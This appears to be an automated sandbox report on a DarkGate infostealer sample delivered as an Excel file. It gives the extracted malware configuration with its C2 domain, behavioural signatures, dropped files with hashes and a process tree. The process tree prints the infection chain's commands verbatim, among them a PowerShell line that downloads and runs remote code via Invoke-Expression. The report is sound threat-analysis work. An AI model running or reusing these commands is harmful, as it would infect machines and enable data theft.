Analysis

  • max time kernel
    1195s
  • max time network
    946s
  • platform
    windows10-1703_x64
  • resource
    win10-20240221-en
  • resource tags

    arch:x64arch:x86image:win10-20240221-enlocale:en-usos:windows10-1703-x64system
  • submitted
    20/03/2024, 12:54

General

  • Target
    ESAREA-ngoowrejjdebusx-1710889917.xlsx
  • Size 56KB
  • Sample240320-p46ynsha22
  • SHA256 60332509742968a19b12375d995fa5f9c695962c08f7df4fe0dc1ef83fbdcfea
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • darkgate

Botnet
  • admin888

C2
  • badbutperfect.com

Attributes
  • anti_analysis

    true

  • anti_debug

    false

  • anti_vm

    true

  • c2_port

    80

  • check_disk

    false

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_raw_stub

    false

  • internal_mutex

    WZqqpfdY

  • minimum_disk

    50

  • minimum_ram

    4000

  • ping_interval

    6

  • rootkit

    false

  • startup_persistence

    true

  • username

    admin888

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Detect DarkGate stealer 2 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ESAREA-ngoowrejjdebusx-1710889917.xlsx"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4076
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "\\escuelademarina.com\cloud\AZURE_DOC_OPEN.vbs"
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3368
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'badbutperfect.com/nrwncpwo')
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2244
        • C:\rimz\AutoHotkey.exe
          "C:\rimz\AutoHotkey.exe" script.ahk
          4⤵
          • Executes dropped EXE
          • Checks processor information in registry
          PID:3392
        • C:\Windows\system32\attrib.exe
          "C:\Windows\system32\attrib.exe" +h C:/rimz
          4⤵
          • Views/modifies file attributes
          PID:4368

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_zjhtnloc.cej.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zjhtnloc.cej.ps1
        • Size 1B
        • SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
        • MD5 SHA1 SHA512

        AutoHotkey.exe

        • Path C:\rimz\AutoHotkey.exe
        • Size 892KB
        • SHA256 897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb
        • MD5 SHA1 SHA512 SSDEEP

        script.ahk

        • Path C:\rimz\script.ahk
        • Size 54KB
        • SHA256 5aac7d31149048763e688878c3910ae4881826db80e078754f5d08f2c1f39572
        • MD5 SHA1 SHA512 SSDEEP

        test.txt

        • Path C:\rimz\test.txt
        • Size 915KB
        • SHA256 a39dba6db04a85050ba7949881769f4b006b4a8edf691a605bfa5fe7c24d3489
        • MD5 SHA1 SHA512 SSDEEP

        memory/2244-254-0x00007FFCA3A30000-0x00007FFCA441C000-memory.dmp

        memory/2244-190-0x00007FFCA3A30000-0x00007FFCA441C000-memory.dmp

        memory/2244-217-0x0000024A44C70000-0x0000024A44E32000-memory.dmp

        memory/2244-212-0x0000024A44220000-0x0000024A44230000-memory.dmp

        memory/2244-197-0x0000024A444B0000-0x0000024A44526000-memory.dmp

        memory/2244-194-0x0000024A441B0000-0x0000024A441D2000-memory.dmp

        memory/2244-193-0x0000024A44220000-0x0000024A44230000-memory.dmp

        memory/2244-191-0x0000024A44220000-0x0000024A44230000-memory.dmp

        memory/3392-256-0x00000000049D0000-0x0000000004A43000-memory.dmp

        memory/3392-257-0x00000000049D0000-0x0000000004A43000-memory.dmp

        memory/4076-11-0x00007FFC84A60000-0x00007FFC84A70000-memory.dmp

        memory/4076-179-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

        memory/4076-18-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

        memory/4076-19-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

        memory/4076-20-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

        memory/4076-22-0x00007FFCC5B40000-0x00007FFCC5BEE000-memory.dmp

        memory/4076-24-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

        memory/4076-23-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

        memory/4076-21-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

        memory/4076-25-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

        memory/4076-26-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

        memory/4076-27-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

        memory/4076-28-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

        memory/4076-17-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

        memory/4076-16-0x00007FFC84A60000-0x00007FFC84A70000-memory.dmp

        memory/4076-14-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

        memory/4076-15-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

        memory/4076-13-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

        memory/4076-0-0x00007FFC882F0000-0x00007FFC88300000-memory.dmp

        memory/4076-12-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

        memory/4076-10-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

        memory/4076-9-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

        memory/4076-8-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

        memory/4076-6-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

        memory/4076-4-0x00007FFC882F0000-0x00007FFC88300000-memory.dmp

        memory/4076-2-0x00007FFC882F0000-0x00007FFC88300000-memory.dmp

        memory/4076-3-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

        memory/4076-1-0x00007FFC882F0000-0x00007FFC88300000-memory.dmp